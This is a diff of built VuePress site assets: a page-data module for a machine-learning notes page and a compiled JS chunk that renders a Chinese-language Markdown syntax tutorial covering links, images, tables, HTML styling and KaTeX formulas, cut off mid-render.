e=JSON.parse('{"key":"v-7b741800","path":"/%E5%AD%A6%E4%B9%A0%E8%B7%AF%E7%BA%BF/%E6%9C%BA%E5%99%A8%E5%AD%A6%E4%B9%A0/MachineLearning.html","title":"","lang":"zh-CN","frontmatter":{},"headers":[{"level":2,"title":"2.3-特征工程","slug":"_2-3-特征工程","link":"#_2-3-特征工程","children":[{"level":3,"title":"2.3.2-特征选择","slug":"_2-3-2-特征选择","link":"#_2-3-2-特征选择","children":[]},{"level":3,"title":"2.3.3-特征提取","slug":"_2-3-3-特征提取","link":"#_2-3-3-特征提取","children":[]},{"level":3,"title":"类别可分离性判据","slug":"类别可分离性判据","link":"#类别可分离性判据","children":[]}]}],"git":{"createdTime":1667841430000,"updatedTime":1667841430000,"contributors":[{"name":"咸鱼型233","email":"ayusummer233@qq.com","commits":1}]},"readingTime":{"minutes":0.93,"words":279},"filePathRelative":"学习路线/机器学习/MachineLearning.md","localizedDate":"2022年11月7日","excerpt":""}');export{e as data};
diff --git a/assets/Markdown.html-1ae44d48.js b/assets/Markdown.html-1ae44d48.js
new file mode 100644
index 0000000000..c9db3932c9
--- /dev/null
+++ b/assets/Markdown.html-1ae44d48.js
@@ -0,0 +1,78 @@
+import{_ as p}from"./plugin-vue_export-helper-c27b6911.js";import{r as i,o as c,c as d,b as a,e,d as s,w as l,f as t}from"./app-880c6425.js";const m="data:image/png;base64,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",u={},h=t(` Markdown 基础语法 # 一级标题
+## 二级标题
+### 三级标题
+
+分割线↓
+
+---
+
+- 无序列表
+1. 有序列表
+
+[待加入超链接的文字 ](链接 )
+! [图片描述信息 ](图链 )
+\`短代码或者专用名词\`
+==高亮文本==
+
+\`\`\` 代码块语言
+代码块内容
+\`\`\`
+
有序列表 待加入超链接的文字 ![图片描述信息](图链)
(PS: 这里不贴出来是因为会导致站点构建错误, 可在 图片章节 查看演示效果) 短代码或者专用名词
高亮文本
上面的源码部分在 分割线
与 ---
中间空了一行, 是有原因的, 如果不空行的话有可能会把 ---
上面的文本识别成标题
换行
行末两个空格并换行
第一行文字 第二行文字
Typora 中对应 Space Space Shift+Enter
直接空一行
第一行文字
第二行文字
Typora 中对应 Enter
链接 `,9),g=t(`常规链接写法
[百度 ](http://www.baidu.com )
+
`,2),k={href:"http://www.baidu.com",target:"_blank",rel:"noopener noreferrer"},b=t(`文内标题链接写法
[->编辑软件](#Markdown 编辑软件)
+[->Typora ](#Typora )
+
[->编辑软件](#Markdown 编辑软件) ->Typora
不管是跳转到几级标题, ()
内都只需要用 1 个 #
, 不过要注意所有的标题不要有重名
`,1),v=t(` 图片 图片标识想起就起,不想起空着也行
图片地址可以填相对地址也可以填网络中的绝对地址
相对地址
网络绝对地址(http/https
)
不推荐使用本地文件的绝对地址, 不是相对路径拼接的绝对路径是坏文明(, 毕竟这样做可移植性几乎没有, 不管是个人设备中迁移 markdown 文件还是共享 需要先将图片上传到图床上然后再获取图片的链接,可以借用Gitee 或 Github 的 Issue 中评论框粘贴图片直接生成图链或者是使用一些免费的公共图床 ![](http://cdn.ayusummer233.top/img/202212111515300.png)
+
PS: Gitee 在年初更新了防盗链规则, 不推荐在 Gitee 站外使用 Gitee 图链, 否则就丢图了
目前在 Gitee 站外引用的 Gitee 图链会变成一个 Gitee 图标
推荐使用个人图床(比如七牛云对象存储, 正常使用前期存储较少的时候一个月不到一毛钱, 存了几千张图片之后也不过一个月两三毛的样子, 两三年前充了 50 现在还有四十七块多)
反而域名才是消耗品, .top
域名首年九块九, 后面续费就二十多了
不推荐使用公共图床是因为不好管理以及怕丢以及不清楚公共图床是否会压图
表格 | :--- | :---: | ---: |
+| 值1 | 值2 | 值3 |
+
实际上一般不会手打表格语法, 在 Typora 中可以用 Ctrl + T
或者在右键菜单中选择快捷插入表格
:---,
:--:,
---:分别对应左对齐, 居中对齐和右对齐(中间的
-数量其实无所谓, 主要是用来对齐
|\` 这样源码比较美观)
可以在 VSCode 中使用 Markdown All in One 扩展来一键格式化 markdown 文档源码 Alt + Shift + F
分页符 < div STYLE = " page-break-after : always; " > </ div>
+
直接在 markdown 源码中插入此行, 这样在导出 PDF 文件时会在此行处分页
之所以有这个需求是因为经常出现一张长图片导致前一页或者后一页出现大面积空白或是一段源码在 PDF 中刚好分在了两页上, 这样阅读起来就比较别扭, 因此可以手动插入分页符进行调整
不过后来分享 PDF 页数越来越多时手动插入分页符的操作非常耗费精力, 因此就引出了导出 HTML 分享的解决方案
对应 VNote 导出 以及 [MPE 导出](#使用 MPE 导出 base64图片 && 带侧边目录的 HTML)
有了解决方案后又有了新的问题, 不是所有分享媒介都直接预览 HTML 文件(比如微盘和gitlab都不支持直接预览 HTML), 从而引出了新的解决方案:
对于 Gitlab 而言, 默认支持 markdown 文件的渲染显示 对于微盘而言, 最终还是分享 markdown + 图片文件夹 + PDF 使用 VuePress, VitePress 等工具自己起个文档站点展示 markdown 文件 html markdown 是兼容 html 语法的, 所以你可以在 Markdown 中使用 html + css 来实现各种自定义的效果
排版 通常, 在 Typora 中一份 markdown 文档展示给我们的预览效果是通过根据当前主题的 css 样式将当前文档的 markdown 源码渲染为 html 显示的
当我们切换主题时就会看到预览效果的变化, 比如有些主题的标题预览是居中显示的
而我们同样也可以直接在 Markdown 源码中写 html 来自定义该部分内容的排版
例如使用 <center>
标签将文字居中显示:
`,23),y=t(`图像居中显示:
< div align = center> < img src = " http://cdn.ayusummer233.top/img/20210514111630.png" width = " " > </ div>
+
字体类型与颜色 `,5),_=t(`< font face = " 黑体" > 使用黑体</ font>
+
`,1),f=t(`< font face = " 黑体" size = 10> 我是黑体10号字</ font>
+
`,1),w=t(`< font color = red> 红色</ font>
+
`,1),E=t(` 字体大小 < font size = 5> 示例</ font>
+
`,3),x=t('对于全局字体大小的设置也可以在 Typora 的偏好设置中的外观设置中进行自定义配置
目录 本地阅读的话一般编辑器侧边栏大纲都是展示全部的目录的, 但是很多站点的 Markdown 渲染侧边栏只支持深度到2级的目录展示, 所以在顶部有一个目录还是有些用的
Typora 可以选择插入目录, 但是对于源码的改动只是加了个 [TOC]
, 这种配置只有在 Typora 中才能正确解析, 而 VSCode 中的 Markdown All in One 扩展的插入目录则是直接以无序列表的形式将目录插入到了源码中, 不管在哪里都是可以正常渲染出来的
在命令面板中选择使用 Markdown All in One 生成目录即可在当前光标位置生成目录, 且每次保存时会自动更新目录
插入数学公式 ',10),A=a("li",null,[a("p",null,[e("将公式用 "),a("code",null,"$$"),e(" 包围,例:")]),a("div",{class:"language-markdown line-numbers-mode","data-ext":"md"},[a("pre",{class:"language-markdown"},[a("code",null,`$y_1 = m_{11} + x^{12} + x^2$
+`)]),a("div",{class:"line-numbers","aria-hidden":"true"},[a("div",{class:"line-number"})])]),a("p",null,[a("span",{class:"katex"},[a("span",{class:"katex-mathml"},[a("math",{xmlns:"http://www.w3.org/1998/Math/MathML"},[a("semantics",null,[a("mrow",null,[a("msub",null,[a("mi",null,"y"),a("mn",null,"1")]),a("mo",null,"="),a("msub",null,[a("mi",null,"m"),a("mn",null,"11")]),a("mo",null,"+"),a("msup",null,[a("mi",null,"x"),a("mn",null,"12")]),a("mo",null,"+"),a("msup",null,[a("mi",null,"x"),a("mn",null,"2")])]),a("annotation",{encoding:"application/x-tex"},"y_1 = m_{11} + x^{12} + x^2")])])]),a("span",{class:"katex-html","aria-hidden":"true"},[a("span",{class:"base"},[a("span",{class:"strut",style:{height:"0.625em","vertical-align":"-0.1944em"}}),a("span",{class:"mord"},[a("span",{class:"mord mathnormal",style:{"margin-right":"0.03588em"}},"y"),a("span",{class:"msupsub"},[a("span",{class:"vlist-t vlist-t2"},[a("span",{class:"vlist-r"},[a("span",{class:"vlist",style:{height:"0.3011em"}},[a("span",{style:{top:"-2.55em","margin-left":"-0.0359em","margin-right":"0.05em"}},[a("span",{class:"pstrut",style:{height:"2.7em"}}),a("span",{class:"sizing reset-size6 size3 mtight"},[a("span",{class:"mord mtight"},"1")])])]),a("span",{class:"vlist-s"},"")]),a("span",{class:"vlist-r"},[a("span",{class:"vlist",style:{height:"0.15em"}},[a("span")])])])])]),a("span",{class:"mspace",style:{"margin-right":"0.2778em"}}),a("span",{class:"mrel"},"="),a("span",{class:"mspace",style:{"margin-right":"0.2778em"}})]),a("span",{class:"base"},[a("span",{class:"strut",style:{height:"0.7333em","vertical-align":"-0.15em"}}),a("span",{class:"mord"},[a("span",{class:"mord mathnormal"},"m"),a("span",{class:"msupsub"},[a("span",{class:"vlist-t vlist-t2"},[a("span",{class:"vlist-r"},[a("span",{class:"vlist",style:{height:"0.3011em"}},[a("span",{style:{top:"-2.55em","margin-left":"0em","margin-right":"0.05em"}},[a("span",{class:"pstrut",style:{height:"2.7em"}}),a("span",{class:"sizing reset-size6 size3 mtight"},[a("span",{class:"mord mtight"},[a("span",{class:"mord mtight"},"11")])])])]),a("span",{class:"vlist-s"},"")]),a("span",{class:"vlist-r"},[a("span",{class:"vlist",style:{height:"0.15em"}},[a("span")])])])])]),a("span",{class:"mspace",style:{"margin-right":"0.2222em"}}),a("span",{class:"mbin"},"+"),a("span",{class:"mspace",style:{"margin-right":"0.2222em"}})]),a("span",{class:"base"},[a("span",{class:"strut",style:{height:"0.8974em","vertical-align":"-0.0833em"}}),a("span",{class:"mord"},[a("span",{class:"mord mathnormal"},"x"),a("span",{class:"msupsub"},[a("span",{class:"vlist-t"},[a("span",{class:"vlist-r"},[a("span",{class:"vlist",style:{height:"0.8141em"}},[a("span",{style:{top:"-3.063em","margin-right":"0.05em"}},[a("span",{class:"pstrut",style:{height:"2.7em"}}),a("span",{class:"sizing reset-size6 size3 mtight"},[a("span",{class:"mord mtight"},[a("span",{class:"mord mtight"},"12")])])])])])])])]),a("span",{class:"mspace",style:{"margin-right":"0.2222em"}}),a("span",{class:"mbin"},"+"),a("span",{class:"mspace",style:{"margin-right":"0.2222em"}})]),a("span",{class:"base"},[a("span",{class:"strut",style:{height:"0.8141em"}}),a("span",{class:"mord"},[a("span",{class:"mord mathnormal"},"x"),a("span",{class:"msupsub"},[a("span",{class:"vlist-t"},[a("span",{class:"vlist-r"},[a("span",{class:"vlist",style:{height:"0.8141em"}},[a("span",{style:{top:"-3.063em","margin-right":"0.05em"}},[a("span",{class:"pstrut",style:{height:"2.7em"}}),a("span",{class:"sizing reset-size6 size3 mtight"},[a("span",{class:"mord mtight"},"2")])])])])])])])])])])])],-1),B={href:"https://blog.csdn.net/konglongdanfo1/article/details/85204312",target:"_blank",rel:"noopener noreferrer"},q={href:"https://blog.csdn.net/krone_/article/details/99710062",target:"_blank",rel:"noopener noreferrer"},P=a("hr",null,null,-1),M=a("h4",{id:"公式内部打空格",tabindex:"-1"},[a("a",{class:"header-anchor",href:"#公式内部打空格","aria-hidden":"true"},"#"),e(" 公式内部打空格")],-1),C={href:"https://zhuanlan.zhihu.com/p/265517357",target:"_blank",rel:"noopener noreferrer"},D=a("hr",null,null,-1),T=t(`
多行公式等号对齐 NPV = 现金流入现值和 - 现金流出现值和
\\begin{aligned}
+ NPV &= CI - CO \\\\
+ &= \\sum_{t=0}^n CI_t (P/F, i_0, t) - \\sum_{t=0}^n CO_t (P/F, i_0, t) \\\\
+\\end{aligned}
+
`,5),z=a("p",{class:"katex-block"},[a("span",{class:"katex-display"},[a("span",{class:"katex"},[a("span",{class:"katex-mathml"},[a("math",{xmlns:"http://www.w3.org/1998/Math/MathML",display:"block"},[a("semantics",null,[a("mtable",{rowspacing:"0.25em",columnalign:"right left",columnspacing:"0em"},[a("mtr",null,[a("mtd",null,[a("mstyle",{scriptlevel:"0",displaystyle:"true"},[a("mrow",null,[a("mi",null,"N"),a("mi",null,"P"),a("mi",null,"V")])])]),a("mtd",null,[a("mstyle",{scriptlevel:"0",displaystyle:"true"},[a("mrow",null,[a("mrow"),a("mo",null,"="),a("mi",null,"C"),a("mi",null,"I"),a("mo",null,"−"),a("mi",null,"C"),a("mi",null,"O")])])])]),a("mtr",null,[a("mtd",null,[a("mstyle",{scriptlevel:"0",displaystyle:"true"},[a("mrow")])]),a("mtd",null,[a("mstyle",{scriptlevel:"0",displaystyle:"true"},[a("mrow",null,[a("mrow"),a("mo",null,"="),a("munderover",null,[a("mo",null,"∑"),a("mrow",null,[a("mi",null,"t"),a("mo",null,"="),a("mn",null,"0")]),a("mi",null,"n")]),a("mi",null,"C"),a("msub",null,[a("mi",null,"I"),a("mi",null,"t")]),a("mo",{stretchy:"false"},"("),a("mi",null,"P"),a("mi",{mathvariant:"normal"},"/"),a("mi",null,"F"),a("mo",{separator:"true"},","),a("msub",null,[a("mi",null,"i"),a("mn",null,"0")]),a("mo",{separator:"true"},","),a("mi",null,"t"),a("mo",{stretchy:"false"},")"),a("mo",null,"−"),a("munderover",null,[a("mo",null,"∑"),a("mrow",null,[a("mi",null,"t"),a("mo",null,"="),a("mn",null,"0")]),a("mi",null,"n")]),a("mi",null,"C"),a("msub",null,[a("mi",null,"O"),a("mi",null,"t")]),a("mo",{stretchy:"false"},"("),a("mi",null,"P"),a("mi",{mathvariant:"normal"},"/"),a("mi",null,"F"),a("mo",{separator:"true"},","),a("msub",null,[a("mi",null,"i"),a("mn",null,"0")]),a("mo",{separator:"true"},","),a("mi",null,"t"),a("mo",{stretchy:"false"},")")])])])])]),a("annotation",{encoding:"application/x-tex"}," \\begin{aligned} NPV &= CI - CO \\\\ &= \\sum_{t=0}^n CI_t (P/F, i_0, t) - \\sum_{t=0}^n CO_t (P/F, i_0, t) \\\\ \\end{aligned} ")])])]),a("span",{class:"katex-html","aria-hidden":"true"},[a("span",{class:"base"},[a("span",{class:"strut",style:{height:"4.7185em","vertical-align":"-2.1093em"}}),a("span",{class:"mord"},[a("span",{class:"mtable"},[a("span",{class:"col-align-r"},[a("span",{class:"vlist-t vlist-t2"},[a("span",{class:"vlist-r"},[a("span",{class:"vlist",style:{height:"2.6093em"}},[a("span",{style:{top:"-5.4207em"}},[a("span",{class:"pstrut",style:{height:"3.6514em"}}),a("span",{class:"mord"},[a("span",{class:"mord mathnormal",style:{"margin-right":"0.13889em"}},"NP"),a("span",{class:"mord mathnormal",style:{"margin-right":"0.22222em"}},"V")])]),a("span",{style:{top:"-3.1093em"}},[a("span",{class:"pstrut",style:{height:"3.6514em"}}),a("span",{class:"mord"})])]),a("span",{class:"vlist-s"},"")]),a("span",{class:"vlist-r"},[a("span",{class:"vlist",style:{height:"2.1093em"}},[a("span")])])])]),a("span",{class:"col-align-l"},[a("span",{class:"vlist-t vlist-t2"},[a("span",{class:"vlist-r"},[a("span",{class:"vlist",style:{height:"2.6093em"}},[a("span",{style:{top:"-5.4207em"}},[a("span",{class:"pstrut",style:{height:"3.6514em"}}),a("span",{class:"mord"},[a("span",{class:"mord"}),a("span",{class:"mspace",style:{"margin-right":"0.2778em"}}),a("span",{class:"mrel"},"="),a("span",{class:"mspace",style:{"margin-right":"0.2778em"}}),a("span",{class:"mord mathnormal",style:{"margin-right":"0.07153em"}},"C"),a("span",{class:"mord mathnormal",style:{"margin-right":"0.07847em"}},"I"),a("span",{class:"mspace",style:{"margin-right":"0.2222em"}}),a("span",{class:"mbin"},"−"),a("span",{class:"mspace",style:{"margin-right":"0.2222em"}}),a("span",{class:"mord mathnormal",style:{"margin-right":"0.02778em"}},"CO")])]),a("span",{style:{top:"-3.1093em"}},[a("span",{class:"pstrut",style:{height:"3.6514em"}}),a("span",{class:"mord"},[a("span",{class:"mord"}),a("span",{class:"mspace",style:{"margin-right":"0.2778em"}}),a("span",{class:"mrel"},"="),a("span",{class:"mspace",style:{"margin-right":"0.2778em"}}),a("span",{class:"mop op-limits"},[a("span",{class:"vlist-t vlist-t2"},[a("span",{class:"vlist-r"},[a("span",{class:"vlist",style:{height:"1.6514em"}},[a("span",{style:{top:"-1.8829em","margin-left":"0em"}},[a("span",{class:"pstrut",style:{height:"3.05em"}}),a("span",{class:"sizing reset-size6 size3 mtight"},[a("span",{class:"mord mtight"},[a("span",{class:"mord mathnormal mtight"},"t"),a("span",{class:"mrel mtight"},"="),a("span",{class:"mord mtight"},"0")])])]),a("span",{style:{top:"-3.05em"}},[a("span",{class:"pstrut",style:{height:"3.05em"}}),a("span",null,[a("span",{class:"mop op-symbol large-op"},"∑")])]),a("span",{style:{top:"-4.3em","margin-left":"0em"}},[a("span",{class:"pstrut",style:{height:"3.05em"}}),a("span",{class:"sizing reset-size6 size3 mtight"},[a("span",{class:"mord mathnormal mtight"},"n")])])]),a("span",{class:"vlist-s"},"")]),a("span",{class:"vlist-r"},[a("span",{class:"vlist",style:{height:"1.2671em"}},[a("span")])])])]),a("span",{class:"mspace",style:{"margin-right":"0.1667em"}}),a("span",{class:"mord mathnormal",style:{"margin-right":"0.07153em"}},"C"),a("span",{class:"mord"},[a("span",{class:"mord mathnormal",style:{"margin-right":"0.07847em"}},"I"),a("span",{class:"msupsub"},[a("span",{class:"vlist-t vlist-t2"},[a("span",{class:"vlist-r"},[a("span",{class:"vlist",style:{height:"0.2806em"}},[a("span",{style:{top:"-2.55em","margin-left":"-0.0785em","margin-right":"0.05em"}},[a("span",{class:"pstrut",style:{height:"2.7em"}}),a("span",{class:"sizing reset-size6 size3 mtight"},[a("span",{class:"mord mathnormal mtight"},"t")])])]),a("span",{class:"vlist-s"},"")]),a("span",{class:"vlist-r"},[a("span",{class:"vlist",style:{height:"0.15em"}},[a("span")])])])])]),a("span",{class:"mopen"},"("),a("span",{class:"mord mathnormal",style:{"margin-right":"0.13889em"}},"P"),a("span",{class:"mord"},"/"),a("span",{class:"mord mathnormal",style:{"margin-right":"0.13889em"}},"F"),a("span",{class:"mpunct"},","),a("span",{class:"mspace",style:{"margin-right":"0.1667em"}}),a("span",{class:"mord"},[a("span",{class:"mord mathnormal"},"i"),a("span",{class:"msupsub"},[a("span",{class:"vlist-t vlist-t2"},[a("span",{class:"vlist-r"},[a("span",{class:"vlist",style:{height:"0.3011em"}},[a("span",{style:{top:"-2.55em","margin-left":"0em","margin-right":"0.05em"}},[a("span",{class:"pstrut",style:{height:"2.7em"}}),a("span",{class:"sizing reset-size6 size3 mtight"},[a("span",{class:"mord mtight"},"0")])])]),a("span",{class:"vlist-s"},"")]),a("span",{class:"vlist-r"},[a("span",{class:"vlist",style:{height:"0.15em"}},[a("span")])])])])]),a("span",{class:"mpunct"},","),a("span",{class:"mspace",style:{"margin-right":"0.1667em"}}),a("span",{class:"mord mathnormal"},"t"),a("span",{class:"mclose"},")"),a("span",{class:"mspace",style:{"margin-right":"0.2222em"}}),a("span",{class:"mbin"},"−"),a("span",{class:"mspace",style:{"margin-right":"0.2222em"}}),a("span",{class:"mop op-limits"},[a("span",{class:"vlist-t vlist-t2"},[a("span",{class:"vlist-r"},[a("span",{class:"vlist",style:{height:"1.6514em"}},[a("span",{style:{top:"-1.8829em","margin-left":"0em"}},[a("span",{class:"pstrut",style:{height:"3.05em"}}),a("span",{class:"sizing reset-size6 size3 mtight"},[a("span",{class:"mord mtight"},[a("span",{class:"mord mathnormal mtight"},"t"),a("span",{class:"mrel mtight"},"="),a("span",{class:"mord mtight"},"0")])])]),a("span",{style:{top:"-3.05em"}},[a("span",{class:"pstrut",style:{height:"3.05em"}}),a("span",null,[a("span",{class:"mop op-symbol large-op"},"∑")])]),a("span",{style:{top:"-4.3em","margin-left":"0em"}},[a("span",{class:"pstrut",style:{height:"3.05em"}}),a("span",{class:"sizing reset-size6 size3 mtight"},[a("span",{class:"mord mathnormal mtight"},"n")])])]),a("span",{class:"vlist-s"},"")]),a("span",{class:"vlist-r"},[a("span",{class:"vlist",style:{height:"1.2671em"}},[a("span")])])])]),a("span",{class:"mspace",style:{"margin-right":"0.1667em"}}),a("span",{class:"mord mathnormal",style:{"margin-right":"0.07153em"}},"C"),a("span",{class:"mord"},[a("span",{class:"mord mathnormal",style:{"margin-right":"0.02778em"}},"O"),a("span",{class:"msupsub"},[a("span",{class:"vlist-t vlist-t2"},[a("span",{class:"vlist-r"},[a("span",{class:"vlist",style:{height:"0.2806em"}},[a("span",{style:{top:"-2.55em","margin-left":"-0.0278em","margin-right":"0.05em"}},[a("span",{class:"pstrut",style:{height:"2.7em"}}),a("span",{class:"sizing reset-size6 size3 mtight"},[a("span",{class:"mord mathnormal mtight"},"t")])])]),a("span",{class:"vlist-s"},"")]),a("span",{class:"vlist-r"},[a("span",{class:"vlist",style:{height:"0.15em"}},[a("span")])])])])]),a("span",{class:"mopen"},"("),a("span",{class:"mord mathnormal",style:{"margin-right":"0.13889em"}},"P"),a("span",{class:"mord"},"/"),a("span",{class:"mord mathnormal",style:{"margin-right":"0.13889em"}},"F"),a("span",{class:"mpunct"},","),a("span",{class:"mspace",style:{"margin-right":"0.1667em"}}),a("span",{class:"mord"},[a("span",{class:"mord mathnormal"},"i"),a("span",{class:"msupsub"},[a("span",{class:"vlist-t vlist-t2"},[a("span",{class:"vlist-r"},[a("span",{class:"vlist",style:{height:"0.3011em"}},[a("span",{style:{top:"-2.55em","margin-left":"0em","margin-right":"0.05em"}},[a("span",{class:"pstrut",style:{height:"2.7em"}}),a("span",{class:"sizing reset-size6 size3 mtight"},[a("span",{class:"mord mtight"},"0")])])]),a("span",{class:"vlist-s"},"")]),a("span",{class:"vlist-r"},[a("span",{class:"vlist",style:{height:"0.15em"}},[a("span")])])])])]),a("span",{class:"mpunct"},","),a("span",{class:"mspace",style:{"margin-right":"0.1667em"}}),a("span",{class:"mord mathnormal"},"t"),a("span",{class:"mclose"},")")])])]),a("span",{class:"vlist-s"},"")]),a("span",{class:"vlist-r"},[a("span",{class:"vlist",style:{height:"2.1093em"}},[a("span")])])])])])])])])])])],-1),F=a("hr",null,null,-1),S=a("h3",{id:"矩阵",tabindex:"-1"},[a("a",{class:"header-anchor",href:"#矩阵","aria-hidden":"true"},"#"),e(" 矩阵")],-1),G={href:"https://zhuanlan.zhihu.com/p/269245898",target:"_blank",rel:"noopener noreferrer"},V=a("hr",null,null,-1),N=t(`$$\\begin{matrix}
+0&1&1\\\\
+1&1&0\\\\
+1&0&1\\\\
+\\end{matrix}$$
+
中括号边框: bmatrix
`,2),R=a("p",{class:"katex-block"},[a("span",{class:"katex-display"},[a("span",{class:"katex"},[a("span",{class:"katex-mathml"},[a("math",{xmlns:"http://www.w3.org/1998/Math/MathML",display:"block"},[a("semantics",null,[a("mtable",{rowspacing:"0.16em",columnalign:"center center center",columnspacing:"1em"},[a("mtr",null,[a("mtd",null,[a("mstyle",{scriptlevel:"0",displaystyle:"false"},[a("mn",null,"0")])]),a("mtd",null,[a("mstyle",{scriptlevel:"0",displaystyle:"false"},[a("mn",null,"1")])]),a("mtd",null,[a("mstyle",{scriptlevel:"0",displaystyle:"false"},[a("mn",null,"1")])])]),a("mtr",null,[a("mtd",null,[a("mstyle",{scriptlevel:"0",displaystyle:"false"},[a("mn",null,"1")])]),a("mtd",null,[a("mstyle",{scriptlevel:"0",displaystyle:"false"},[a("mn",null,"1")])]),a("mtd",null,[a("mstyle",{scriptlevel:"0",displaystyle:"false"},[a("mn",null,"0")])])]),a("mtr",null,[a("mtd",null,[a("mstyle",{scriptlevel:"0",displaystyle:"false"},[a("mn",null,"1")])]),a("mtd",null,[a("mstyle",{scriptlevel:"0",displaystyle:"false"},[a("mn",null,"0")])]),a("mtd",null,[a("mstyle",{scriptlevel:"0",displaystyle:"false"},[a("mn",null,"1")])])])]),a("annotation",{encoding:"application/x-tex"}," \\begin{matrix} 0&1&1\\\\ 1&1&0\\\\ 1&0&1\\\\ \\end{matrix}")])])]),a("span",{class:"katex-html","aria-hidden":"true"},[a("span",{class:"base"},[a("span",{class:"strut",style:{height:"3.6em","vertical-align":"-1.55em"}}),a("span",{class:"mord"},[a("span",{class:"mtable"},[a("span",{class:"col-align-c"},[a("span",{class:"vlist-t vlist-t2"},[a("span",{class:"vlist-r"},[a("span",{class:"vlist",style:{height:"2.05em"}},[a("span",{style:{top:"-4.21em"}},[a("span",{class:"pstrut",style:{height:"3em"}}),a("span",{class:"mord"},[a("span",{class:"mord"},"0")])]),a("span",{style:{top:"-3.01em"}},[a("span",{class:"pstrut",style:{height:"3em"}}),a("span",{class:"mord"},[a("span",{class:"mord"},"1")])]),a("span",{style:{top:"-1.81em"}},[a("span",{class:"pstrut",style:{height:"3em"}}),a("span",{class:"mord"},[a("span",{class:"mord"},"1")])])]),a("span",{class:"vlist-s"},"")]),a("span",{class:"vlist-r"},[a("span",{class:"vlist",style:{height:"1.55em"}},[a("span")])])])]),a("span",{class:"arraycolsep",style:{width:"0.5em"}}),a("span",{class:"arraycolsep",style:{width:"0.5em"}}),a("span",{class:"col-align-c"},[a("span",{class:"vlist-t vlist-t2"},[a("span",{class:"vlist-r"},[a("span",{class:"vlist",style:{height:"2.05em"}},[a("span",{style:{top:"-4.21em"}},[a("span",{class:"pstrut",style:{height:"3em"}}),a("span",{class:"mord"},[a("span",{class:"mord"},"1")])]),a("span",{style:{top:"-3.01em"}},[a("span",{class:"pstrut",style:{height:"3em"}}),a("span",{class:"mord"},[a("span",{class:"mord"},"1")])]),a("span",{style:{top:"-1.81em"}},[a("span",{class:"pstrut",style:{height:"3em"}}),a("span",{class:"mord"},[a("span",{class:"mord"},"0")])])]),a("span",{class:"vlist-s"},"")]),a("span",{class:"vlist-r"},[a("span",{class:"vlist",style:{height:"1.55em"}},[a("span")])])])]),a("span",{class:"arraycolsep",style:{width:"0.5em"}}),a("span",{class:"arraycolsep",style:{width:"0.5em"}}),a("span",{class:"col-align-c"},[a("span",{class:"vlist-t 